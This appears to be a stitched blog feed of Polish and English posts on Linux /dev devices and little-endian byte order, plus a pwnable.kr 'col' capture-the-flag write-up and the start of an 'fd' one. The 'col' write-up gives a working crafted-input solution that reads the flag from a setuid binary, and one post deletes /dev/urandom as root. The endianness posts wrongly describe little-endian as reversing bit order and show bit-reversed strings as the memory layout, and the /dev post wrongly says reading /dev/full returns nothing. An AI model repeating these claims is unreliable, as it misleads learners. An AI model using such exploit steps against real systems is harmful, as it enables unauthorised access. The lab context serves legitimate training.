<p>It often happens, that some application needs a large amount of random data from <tt class="docutils literal">/dev/random</tt>, which leads to slow down its performance.
In that situation, we can use <tt class="docutils literal">rngd</tt>, which will fill entropy pool with data from hardware random number generator (if it is present)</p>
</div>
<div class="section" id="dev-full">
<h2>/dev/full</h2>
<p>Last, but not least device that will be shown in this post is <tt class="docutils literal">/dev/full</tt>.
This is probably the most common device presented today.</p>
<p>When reading from the device it will return no data.</p>
<p>But, when we try to write anything, it will return <tt class="docutils literal">ENOSPC</tt> error, which means that there is no free space on the volume.
This is usually used while testing the application's error handling in case of running out of space.</p>
<pre class="code console literal-block">
<span class="gp">$</span> dd <span class="k">if</span><span class="o">=</span>/dev/random <span class="nv">of</span><span class="o">=</span>/dev/full <span class="nv">bs</span><span class="o">=</span>1k <span class="nv">count</span><span class="o">=</span><span class="m">1</span>
<span class="go">dd: error writing '/dev/full': No space left on device
0+1 records in
0+0 records out
0 bytes copied, 0.00015115 s, 0.0 kB/s</span>
</pre>
</div>
<div class="section" id="bonus">
<h2>Bonus</h2>
<p>In case of accidentally removing any device, we can easily recover it using documentation and <tt class="docutils literal">mknod</tt> command.</p>
<p>For example, let's remove <tt class="docutils literal">/dev/urandom</tt> device</p>
<pre class="code console literal-block">
<span class="gp">[root@localhost bin]#</span> ssh localhost
<span class="go">Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
</span><span class="gp">[root@localhost bin]#</span> rm /dev/urandom
<span class="go">rm: remove character special file ‘/dev/urandom’? y
</span><span class="gp">[root@localhost bin]#</span> ssh localhost
<span class="go">cannot read from /dev/urandom, No such file or directory
</span><span class="gp">[root@localhost bin]#</span> mknod /dev/urandom c <span class="m">1</span> <span class="m">9</span>
<span class="gp">[root@localhost bin]#</span> ssh localhost
<span class="go">Permission denied (publickey,gssapi-keyex,gssapi-with-mic).</span>
</pre>
</div>
Jak to jest z tym little-endian2019-07-29T00:00:00+02:002019-07-29T00:00:00+02:00TORGirentag:blog.fabrykowski.pl,2019-07-29:/little-endian.html<p>W tym poście postaram się opowiedzieć trochę o kolejności bitów w pamięci.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/HL_S6MZBm0Q" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="zacznijmy-od-trzesienia-ziemi">
<h2>Zacznijmy od trzęsienia ziemi</h2>
<div class="highlight"><pre><span></span><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">long</span> <span class="kt">int</span> <span class="n">x</span><span class="o">=</span><span class="mh">0x4142434445464748</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">$</span> gcc -g main.c -o main
<span class="gp">$</span> gdb main
<span class="gp">(gdb)$</span> <span class="nb">break</span> main
<span class="gp">(gdb)$</span> layout src
<span class="gp">(gdb)$</span> r
<span class="gp">(gdb)$</span> s
</pre></div>
<p>Na systemie 64-bitowym, nasza zmienna ma 8 bajtów.</p>
<p>Dlatego ją …</p></div><p>W tym poście postaram się opowiedzieć trochę o kolejności bitów w pamięci.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/HL_S6MZBm0Q" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="zacznijmy-od-trzesienia-ziemi">
<h2>Zacznijmy od trzęsienia ziemi</h2>
<div class="highlight"><pre><span></span><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">long</span> <span class="kt">int</span> <span class="n">x</span><span class="o">=</span><span class="mh">0x4142434445464748</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">$</span> gcc -g main.c -o main
<span class="gp">$</span> gdb main
<span class="gp">(gdb)$</span> <span class="nb">break</span> main
<span class="gp">(gdb)$</span> layout src
<span class="gp">(gdb)$</span> r
<span class="gp">(gdb)$</span> s
</pre></div>
<p>Na systemie 64-bitowym, nasza zmienna ma 8 bajtów.</p>
<p>Dlatego ją wypiszmy:</p>
<div class="highlight"><pre><span></span><span class="gp">(gdb)$</span> x/1gx <span class="p">&</span>x
<span class="go">0x7fffffffdca8: 0x4142434445464748</span>
</pre></div>
<p>ale 64 bity, to również 2x32 bit</p>
<div class="highlight"><pre><span></span><span class="gp">(gdb)$</span> x/2wx <span class="p">&</span>x
<span class="go">0x7fffffffdca8: 0x45464748 0x41424344</span>
</pre></div>
<p>ale to także, 4x16 bit</p>
<div class="highlight"><pre><span></span><span class="gp">(gdb)$</span> x/4hx <span class="p">&</span>x
<span class="go">0x7fffffffdca8: 0x4748 0x4546 0x4344 0x4142</span>
</pre></div>
<p>ale również 8x8 bit</p>
<div class="highlight"><pre><span></span><span class="gp">(gdb)$</span> x/8bx <span class="p">&</span>x
<span class="go">0x7fffffffdca8: 0x48 0x47 0x46 0x45 0x44 0x43 0x42 0x41</span>
</pre></div>
<p>Co jest nie tak z kolejnością?</p>
</div>
<div class="section" id="a-teraz-niech-napiecie-rosnie">
<h2>a teraz niech napięcie rośnie...</h2>
<p>Aby to zrozumieć, należy wiedzieć, jak system zapisuje dane w pamięci.</p>
<p>Istnieją dwa sposoby przechowywania danych: <tt class="docutils literal">big endiang</tt> oraz <tt class="docutils literal">little endian</tt>.</p>
<p>Zapis <tt class="docutils literal">big endian</tt> charakteryzuje się tym, ze kolejność zapisu bitów jest analogiczna do tego jak my zapisujemy, czyli najbardziej znaczący bit jest zapisywany jako pierwszy, a najmniej znaczący, jako ostatni.
W konwencji <tt class="docutils literal">little endian</tt> jest natomiast odwrotnie. Najmniej znaczący bit jest zapisywany jako pierwszy, a najbardziej znaczący jako ostatni.</p>
<p><tt class="docutils literal">Bit endian</tt> używany jest m.in w procesorach SPARC bądź PowerPC, jednak w większości powszechnie używanych procesorów króluje <tt class="docutils literal">little endian</tt>.
Dlatego dzisiaj się mu przyjrzymy bliżej.</p>
</div>
<div class="section" id="od-poczatku-od-konca-czy-na-przemian">
<h2>Od początku? Od końca? Czy na przemian?</h2>
<p>Jeśli spojrzymy na wyniki wypisania wartości z <tt class="docutils literal">gdb</tt>, zauważymy, że wypisując całą liczbę na raz, otrzymamy ją w takiej formie w jakiej zapisaliśmy.
Natomiast wypisując po bajcie, otrzymamy zapis od końca.
Ale dlaczego czy wypisywaniu po słowie bądź pół słowie mamy przemieszane bajty?</p>
<p>Całość łatwo zrozumieć gdy zapiszemy liczbę bitowo.</p>
<p>Liczba <tt class="docutils literal">0x4142434445464748</tt> zapisana bitowo, ma wartość</p>
<blockquote>
<tt class="docutils literal">0100000101000010010000110100010001000101010001100100011101001000</tt></blockquote>
<p>ponieważ, w konwencji <tt class="docutils literal"><span class="pre">little-endian</span></tt> bit najważniejszy jest na końcu, zapiszmy tą wartość od tył:</p>
<blockquote>
<tt class="docutils literal">0001001011100010011000101010001000100010110000100100001010000010</tt></blockquote>
<p>tak ta liczba będzie przechowywana w pamięci.</p>
<p>To dlaczego raz widzimy ją poprawnie, raz mieszanie a raz od tył?</p>
<p>Dla prostoty podzielmy sobie tą liczbę wizualnie na bajty</p>
<blockquote>
<tt class="docutils literal">00010010 11100010 01100010 10100010 00100010 11000010 01000010 10000010</tt></blockquote>
<p>Gdy odczytujemy liczbę, jako jedna dużą 64 bitową wartość, komputer wie jak ją odczytać i dostajemy oczekiwaną wartość.</p>
<p>Natomiast, gdy odczytujemy 2x32 bity, komputer oczyta pierwsze 32 bity, zinterpretuje i wypisze, a następnie zrobi to samo z kolejnymi. Wygląda to mniej więcej tak:</p>
<blockquote>
<tt class="docutils literal">(00010010 11100010 01100010 10100010) (00100010 11000010 01000010 10000010)</tt></blockquote>
<p>Każda z tych dwóch liczb jest interpretowana osobo, dlatego dla każdej z nich kompilator odwraca kolejność bitów:</p>
<blockquote>
<tt class="docutils literal">(01000101 01000110 01000111 01001000) (01000001 01000010 01000011 01000100)</tt></blockquote>
<p>a następnie wyświetla podane liczby. W powyższym przypadku będzie to:</p>
<blockquote>
<tt class="docutils literal">(0x45464748) (0x41424344)</tt></blockquote>
<p>czyli wynik jaki otrzymaliśmy w gdb.</p>
<p>Podobna sytuacja występuje, gdy chcemy odczytać 4x16 bit</p>
<blockquote>
<tt class="docutils literal">(00010010 11100010) (01100010 10100010) (00100010 11000010) (01000010 10000010)</tt></blockquote>
<p>po odwróceniu:</p>
<blockquote>
<tt class="docutils literal">(01000111 01001000) (01000101 01000110) (01000011 01000100) (01000001 01000010)</tt></blockquote>
<p>i w zapisie heksadecymalnym:</p>
<blockquote>
<tt class="docutils literal">(0x4748) (0x4546) (0x4344) (0x4142)</tt></blockquote>
<p>i ostatni krok dla formalności - przy zapisie po jednym bajcie</p>
<blockquote>
<tt class="docutils literal">(00010010) (11100010) (01100010) (10100010) (00100010) (11000010) (01000010) (10000010)</tt></blockquote>
<p>odwrócenie:</p>
<blockquote>
<tt class="docutils literal">(01001000) (01000111) (01000110) (01000101) (01000100) (01000011) (01000010) (01000001)</tt></blockquote>
<p>i interpretacja:</p>
<blockquote>
<tt class="docutils literal">(0x48) (0x47) (0x46) (0x45) (0x44) (0x43) (0x42) (0x41)</tt></blockquote>
</div>
<div class="section" id="przyklad">
<h2>Przykład</h2>
<p>W zadaniu <a class="reference external" href="/pwnable-col.html">col</a> musieliśmy skonstruować liczbę całkowitą, mając jedynie możliwość wprowadzenia wejścia w postaci łańcucha znaków.</p>
<p>Oczekiwaną wartością była liczba <tt class="docutils literal">0x6c5cec8</tt>, a zapis był możliwy za pośrednictwem tablicy znaków, czyli po bajcie.
Dlatego musimy wiedzieć, jak zostanie w pamięci zapisana szukana liczba.</p>
<p><tt class="docutils literal">0x6c5cec8</tt> zostanie zapisana jako poniższy ciąg bajtów:</p>
<blockquote>
<tt class="docutils literal">(0xc8) (0xce) (0xc5) (0x06)</tt></blockquote>
<p>dlatego, aby należało przekazać następującą sekwencję</p>
<blockquote>
<tt class="docutils literal">$ echo <span class="pre">-ne</span> "\xc8\xce\xc5\x06"</tt></blockquote>
</div>
How it is with little-endian2019-07-29T00:00:00+02:002019-07-29T00:00:00+02:00TORGirentag:blog.fabrykowski.pl,2019-07-29:/little-endian-en.html<p>In this post I'm going to tell something about little endian.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/k0-BCbqMN9g" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="let-s-start-with-earthquake">
<h2>Let's start with earthquake</h2>
<div class="highlight"><pre><span></span><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">long</span> <span class="kt">int</span> <span class="n">x</span><span class="o">=</span><span class="mh">0x4142434445464748</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">$</span> gcc -g main.c -o main
<span class="gp">$</span> gdb main
<span class="gp">(gdb)$</span> <span class="nb">break</span> main
<span class="gp">(gdb)$</span> layout src
<span class="gp">(gdb)$</span> r
<span class="gp">(gdb)$</span> s
</pre></div>
<p>In 64bit OS, long ing has 8 bytes</p>
<p>So, let's print …</p></div><p>In this post I'm going to tell something about little endian.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/k0-BCbqMN9g" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="let-s-start-with-earthquake">
<h2>Let's start with earthquake</h2>
<div class="highlight"><pre><span></span><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">long</span> <span class="kt">int</span> <span class="n">x</span><span class="o">=</span><span class="mh">0x4142434445464748</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">$</span> gcc -g main.c -o main
<span class="gp">$</span> gdb main
<span class="gp">(gdb)$</span> <span class="nb">break</span> main
<span class="gp">(gdb)$</span> layout src
<span class="gp">(gdb)$</span> r
<span class="gp">(gdb)$</span> s
</pre></div>
<p>In 64bit OS, long ing has 8 bytes</p>
<p>So, let's print it</p>
<div class="highlight"><pre><span></span><span class="gp">(gdb)$</span> x/1gx <span class="p">&</span>x
<span class="go">0x7fffffffdca8: 0x4142434445464748</span>
</pre></div>
<p>But, 64bits is also 2x32 bit</p>
<div class="highlight"><pre><span></span><span class="gp">(gdb)$</span> x/2wx <span class="p">&</span>x
<span class="go">0x7fffffffdca8: 0x45464748 0x41424344</span>
</pre></div>
<p>And it's 4x16</p>
<div class="highlight"><pre><span></span><span class="gp">(gdb)$</span> x/4hx <span class="p">&</span>x
<span class="go">0x7fffffffdca8: 0x4748 0x4546 0x4344 0x4142</span>
</pre></div>
<p>as well as 8x8 bit</p>
<div class="highlight"><pre><span></span><span class="gp">(gdb)$</span> x/8bx <span class="p">&</span>x
<span class="go">0x7fffffffdca8: 0x48 0x47 0x46 0x45 0x44 0x43 0x42 0x41</span>
</pre></div>
<p>But what's with the order?</p>
</div>
<div class="section" id="and-let-the-tension-rise">
<h2>and let the tension rise</h2>
<p>To understand this, we have to know, how bits are store in memory.</p>
<p>There are two conventions: <tt class="docutils literal">bit endian</tt> and <tt class="docutils literal">little endian</tt>.</p>
<p>In <tt class="docutils literal">big endian</tt> most significant bit is stored as a first bit, and least significant as the last, and in <tt class="docutils literal">little endian</tt> is the opposite - least significant is stored as first.</p>
<p><tt class="docutils literal">Big endian</tt> is used in processors like SPARC and PowerPC, and <tt class="docutils literal">little endian</tt> in x86 and many more.</p>
</div>
<div class="section" id="normal-order-reverse-order-or-mixed">
<h2>Normal order? reverse order? or mixed?</h2>
<p>If we take a look at values printed in <tt class="docutils literal">gdb</tt>, we can see, that the value is printed as whole 64 bit value it is printes <em>as it is</em>.
But, if we print it per byte, we get value in reverse order.
And, if we print it by word or half word, we got mixed order.</p>
<p>To understand this, we have to print our value in binary system.</p>
<p>Value <tt class="docutils literal">0x4142434445464748</tt> in binary is:</p>
<blockquote>
<tt class="docutils literal">0100000101000010010000110100010001000101010001100100011101001000</tt></blockquote>
<p>because of <tt class="docutils literal"><span class="pre">little-endian</span></tt>, most significant bit has to be the last one, so we have to reverse this value:</p>
<blockquote>
<tt class="docutils literal">0001001011100010011000101010001000100010110000100100001010000010</tt></blockquote>
<p>That how the value will be stored in memory.</p>
<p>Then why do we once see it correctly, once mixing, and once from behind?</p>
<p>To ease reading the bits, let's group them into bytes</p>
<blockquote>
<tt class="docutils literal">00010010 11100010 01100010 10100010 00100010 11000010 01000010 10000010</tt></blockquote>
<p>When we read the value as 64 bit, OS read the whole 64 bit and interpret it (reverse bits and print)</p>
<p>But, when we read 2x32 bits, OS read first 32 bit, interpret and print them, and then read the following 32 bits.</p>
<blockquote>
<tt class="docutils literal">(00010010 11100010 01100010 10100010) (00100010 11000010 01000010 10000010)</tt></blockquote>
<p>Every of this two 32 bit values are interpretes seperately, that we OS reverse order of the bits for every value.</p>
<blockquote>
<tt class="docutils literal">(01000101 01000110 01000111 01001000) (01000001 01000010 01000011 01000100)</tt></blockquote>
<p>and then print them</p>
<blockquote>
<tt class="docutils literal">(0x45464748) (0x41424344)</tt></blockquote>
<p>so, that the result we got in gdb.</p>
<p>This is the same for 4x16 bits...</p>
<blockquote>
<tt class="docutils literal">(00010010 11100010) (01100010 10100010) (00100010 11000010) (01000010 10000010)</tt></blockquote>
<p>after inversion</p>
<blockquote>
<tt class="docutils literal">(01000111 01001000) (01000101 01000110) (01000011 01000100) (01000001 01000010)</tt></blockquote>
<p>and in hexadecimal</p>
<blockquote>
<tt class="docutils literal">(0x4748) (0x4546) (0x4344) (0x4142)</tt></blockquote>
<p>And the last one, per byte</p>
<blockquote>
<tt class="docutils literal">(00010010) (11100010) (01100010) (10100010) (00100010) (11000010) (01000010) (10000010)</tt></blockquote>
<p>invert</p>
<blockquote>
<tt class="docutils literal">(01001000) (01000111) (01000110) (01000101) (01000100) (01000011) (01000010) (01000001)</tt></blockquote>
<p>print</p>
<blockquote>
<tt class="docutils literal">(0x48) (0x47) (0x46) (0x45) (0x44) (0x43) (0x42) (0x41)</tt></blockquote>
</div>
<div class="section" id="example">
<h2>Example</h2>
<p>In <a class="reference external" href="/pwnable-col-en.html">col</a> task, we had to preapre integer value using only writing per byte.</p>
<p>The expected value was <tt class="docutils literal">0x6c5cec8</tt>, and user could only write data by char array.
That's why, we have to know, how the value will be stored in memory</p>
<p><tt class="docutils literal">0x6c5cec8</tt> will be stored as:</p>
<blockquote>
<tt class="docutils literal">(0xc8) (0xce) (0xc5) (0x06)</tt></blockquote>
<p>and, we had to pass the following string</p>
<blockquote>
<tt class="docutils literal">$ echo <span class="pre">-ne</span> "\xc8\xce\xc5\x06"</tt></blockquote>
</div>
col - pwnable.kr2019-07-27T00:00:00+02:002019-07-27T00:00:00+02:00TORGirentag:blog.fabrykowski.pl,2019-07-27:/pwnable-col.html<p>W tym poście rozwiążemy sobie zadanie <tt class="docutils literal">col</tt> ze strony <a class="reference external" href="https://pwnable.kr">pwnable</a>.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/GbBjoZ3SR28" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="analiza-wstepna">
<h2>Analiza wstępna</h2>
<p>Aby zalogować się do zadania wykonujemy:</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> ssh col@pwnable.kr -p2222
</pre></div>
<p>a jako hasło podajemy <tt class="docutils literal">guest</tt>.</p>
<p>Po zalogowaniu się widzimy 3 pliki</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ls -l
<span class="go">total 16</span>
<span class="go">-r-sr-x--- 1 col_pwn col 7341 Jun 11 2014 col</span>
<span class="go">-rw-r--r-- …</span></pre></div></div><p>W tym poście rozwiążemy sobie zadanie <tt class="docutils literal">col</tt> ze strony <a class="reference external" href="https://pwnable.kr">pwnable</a>.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/GbBjoZ3SR28" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="analiza-wstepna">
<h2>Analiza wstępna</h2>
<p>Aby zalogować się do zadania wykonujemy:</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> ssh col@pwnable.kr -p2222
</pre></div>
<p>a jako hasło podajemy <tt class="docutils literal">guest</tt>.</p>
<p>Po zalogowaniu się widzimy 3 pliki</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ls -l
<span class="go">total 16</span>
<span class="go">-r-sr-x--- 1 col_pwn col 7341 Jun 11 2014 col</span>
<span class="go">-rw-r--r-- 1 root root 555 Jun 12 2014 col.c</span>
<span class="go">-r--r----- 1 col_pwn col_pwn 52 Jun 11 2014 flag</span>
</pre></div>
<p>flaga znajduje się w pliku <tt class="docutils literal">flag</tt>, natomiast nie mamy do niego dostępu.
Mamy natomiast możliwość wykonania programu <tt class="docutils literal">col</tt>, który ma ustawiony <tt class="docutils literal">suid</tt> pozwalający na odczyt flagi.</p>
<p>Uruchomienie aplikacji daje następujące wyjście:</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ./col
<span class="go">usage : ./col [passcode]</span>
</pre></div>
<p>Dlatego sprawdźmy co robi ta aplikacja.
Kod programu znajduje się w pliku <tt class="docutils literal">col.c</tt></p>
<table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre> 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31</pre></div></td><td class="code"><div class="highlight"><pre><span></span><span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">hashcode</span> <span class="o">=</span> <span class="mh">0x21DD09EC</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="nf">check_password</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">p</span><span class="p">){</span>
<span class="kt">int</span><span class="o">*</span> <span class="n">ip</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="o">*</span><span class="p">)</span><span class="n">p</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">res</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o"><</span><span class="mi">5</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="n">res</span> <span class="o">+=</span> <span class="n">ip</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">res</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[]){</span>
<span class="k">if</span><span class="p">(</span><span class="n">argc</span><span class="o"><</span><span class="mi">2</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"usage : %s [passcode]</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">!=</span> <span class="mi">20</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"passcode length should be 20 bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="n">hashcode</span> <span class="o">==</span> <span class="n">check_password</span><span class="p">(</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">)){</span>
<span class="n">system</span><span class="p">(</span><span class="s">"/bin/cat flag"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"wrong passcode.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</td></tr></table><p>Patrząc na linie 15-22 widzimy, że aplikacja oczekuje co najmniej jednego argumentu oraz że pierwszy argument będzie miał długość dokładnie 20 znaków.</p>
<p>Następnie w linii 24 widzimy, że wynik funkcji <tt class="docutils literal">check_password</tt> uruchomiony z podanych przez nas argumentem, musi być równy globalnej zmiennej <tt class="docutils literal">hashcode</tt> równej <tt class="docutils literal">0x21DD09EC</tt>.</p>
<p>Głównym celem tego zadania jest analiza funkcji <tt class="docutils literal">check_password</tt> oraz znalezienie takiego argumentu <tt class="docutils literal">p</tt>, aby wynik równy był <tt class="docutils literal">0x21DD09EC</tt>.</p>
<p>Funkcja <tt class="docutils literal">check_password</tt> interpretuje podany 20-bajtowy ciąg znaków, jako zmienne typu <tt class="docutils literal">int</tt>.</p>
<p>Aby wiedzieć jaki rozmiar ma zmienna typu <tt class="docutils literal">int</tt>, należy sprawdzić jak została skompilowana aplikacja.</p>
<div class="highlight"><pre><span></span><span class="gp">col@ubuntu:~$</span> file col
<span class="go">col: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=05a10e253161f02d8e6553d95018bc82c7b531fe, not stripped</span>
</pre></div>
<p>Widzimy, że <tt class="docutils literal">col</tt> jest aplikacją 32-bitową, a to znaczy, że najprawdopodobniej zmienna typu <tt class="docutils literal">int</tt> będzie miała rozmiar 32 bitów, czyli 4 bajtów.</p>
<p>Wynika z tego, że 20 bajtowy ciąg znaków, będący argumentem funkcji <tt class="docutils literal">check_password</tt>, może zostać zinterpretowany jako pięć 4-bajtowych wartości typu <tt class="docutils literal">int</tt>.</p>
<p>Dodatkowo, należy sprawdzić w jakiej konwencji są zapisywane bity w pamięci.</p>
<div class="highlight"><pre><span></span><span class="gp">col@ubuntu:~$</span> readelf col -h
<span class="go">ELF Header:</span>
<span class="go"> Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00</span>
<span class="go"> Class: ELF32</span>
<span class="go"> Data: 2's complement, little endian</span>
<span class="go"> Version: 1 (current)</span>
<span class="go"> OS/ABI: UNIX - System V</span>
<span class="go"> ABI Version: 0</span>
<span class="go"> Type: EXEC (Executable file)</span>
<span class="go"> Machine: Intel 80386</span>
<span class="go"> Version: 0x1</span>
<span class="go"> Entry point address: 0x80483e0</span>
<span class="go"> Start of program headers: 52 (bytes into file)</span>
<span class="go"> Start of section headers: 4428 (bytes into file)</span>
<span class="go"> Flags: 0x0</span>
<span class="go"> Size of this header: 52 (bytes)</span>
<span class="go"> Size of program headers: 32 (bytes)</span>
<span class="go"> Number of program headers: 9</span>
<span class="go"> Size of section headers: 40 (bytes)</span>
<span class="go"> Number of section headers: 30</span>
<span class="go"> Section header string table index: 27</span>
</pre></div>
<p>Widzimy, że została zastosowana <tt class="docutils literal">little endian</tt>.</p>
</div>
<div class="section" id="exploit">
<h2>Exploit</h2>
<p>Aby warunek poprawności hasła został spełniony, suma 5 liczb całkowitych otrzymanych z podanego <em>string</em>-a musi być równa <tt class="docutils literal">0x21DD09EC</tt>.
Jednym ze sposobów aby to osiągnąć, jest znalezienie znalezienie 5 liczb których suma da taką wartość, a następnie zapisanie ich w postaci pojedynczych bajtów.</p>
<p>W celu poszukiwania liczb użyjemy pythona, gdyż dobrze sprawdza się jako kalkulator.
na początku próbujemy podzielić szukaną liczbę przez 5, a gdy to się nie uda, to szukamy największej liczby, mniejszej od naszego wyniku, która będzie podzielna przez 5</p>
<div class="highlight"><pre><span></span><span class="o">>>></span> <span class="mh">0x21DD09EC</span><span class="o">/</span><span class="mf">5.0</span>
<span class="mf">113626824.8</span>
<span class="o">>>></span> <span class="mh">0x21DD09EC</span> <span class="o">-</span> <span class="mi">5</span> <span class="o">*</span> <span class="mi">113626824</span>
<span class="mi">4</span>
<span class="o">>>></span> <span class="nb">hex</span><span class="p">(</span><span class="mi">113626824</span><span class="p">)</span>
<span class="s1">'0x6c5cec8'</span>
<span class="o">>>></span> <span class="nb">hex</span><span class="p">(</span><span class="mh">0x6c5cec8</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span>
<span class="s1">'0x6c5cecc'</span>
<span class="o">>>></span> <span class="mi">4</span> <span class="o">*</span> <span class="mh">0x6c5cec8</span> <span class="o">+</span> <span class="mh">0x6c5cecc</span> <span class="o">==</span> <span class="mh">0x21DD09EC</span>
<span class="bp">True</span>
</pre></div>
<p>Z powyższego widzimy, że potrzebujemy przekazać cztery wartości <tt class="docutils literal">0x6c5cec8</tt> oraz jedną o <tt class="docutils literal">4</tt> większą, czyli <tt class="docutils literal">0x6c5cecc</tt> .</p>
<p>Ponieważ aplikacja jest w konwencji <em>little endian</em>, bajty należy podawać od końca.</p>
<p>Aby wypisać konkretne bity, użyjemy <tt class="docutils literal">echo</tt> z <tt class="docutils literal">bash</tt> i podamy bajty <em>od tył</em> i przekażemy wynik do aplikacji <tt class="docutils literal">col</tt>, jako pierwszy argument.</p>
<div class="highlight"><pre><span></span><span class="gp">col@ubuntu:~$ ./col $</span><span class="o">(</span><span class="nb">echo</span> -ne <span class="s2">"\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06"</span><span class="o">)</span>
<span class="go">daddy! I just managed to create a hash collision :)</span>
</pre></div>
<p>I otrzymaliśmy szukaną flagę.</p>
</div>
fd - pwnable.kr2019-06-02T00:00:00+02:002019-06-02T00:00:00+02:00TORGirentag:blog.fabrykowski.pl,2019-06-02:/pwnable-fd.html<p>W tym poście rozwiążemy sobie zadanie <tt class="docutils literal">fd</tt> ze strony <a class="reference external" href="https://pwnable.kr">pwnable</a>.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/EtMYdsvIRmo" allowfullscreen seamless frameBorder="0"></iframe></div><p>Aby zalogować się do zadania wykonujemy:</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> ssh fd@pwnable.kr -p2222
</pre></div>
<p>a jako hasło podajemy <tt class="docutils literal">guest</tt>.</p>
<p>Po zalogowaniu się widzimy 3 pliki</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ls -l
<span class="go">total 16</span>
<span class="go">-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd</span>
<span class="go">-rw-r--r-- 1 root …</span></pre></div><p>W tym poście rozwiążemy sobie zadanie <tt class="docutils literal">fd</tt> ze strony <a class="reference external" href="https://pwnable.kr">pwnable</a>.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/EtMYdsvIRmo" allowfullscreen seamless frameBorder="0"></iframe></div><p>Aby zalogować się do zadania wykonujemy:</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> ssh fd@pwnable.kr -p2222
</pre></div>
<p>a jako hasło podajemy <tt class="docutils literal">guest</tt>.</p>
<p>Po zalogowaniu się widzimy 3 pliki</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ls -l
<span class="go">total 16</span>
<span class="go">-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd</span>
<span class="go">-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c</span>
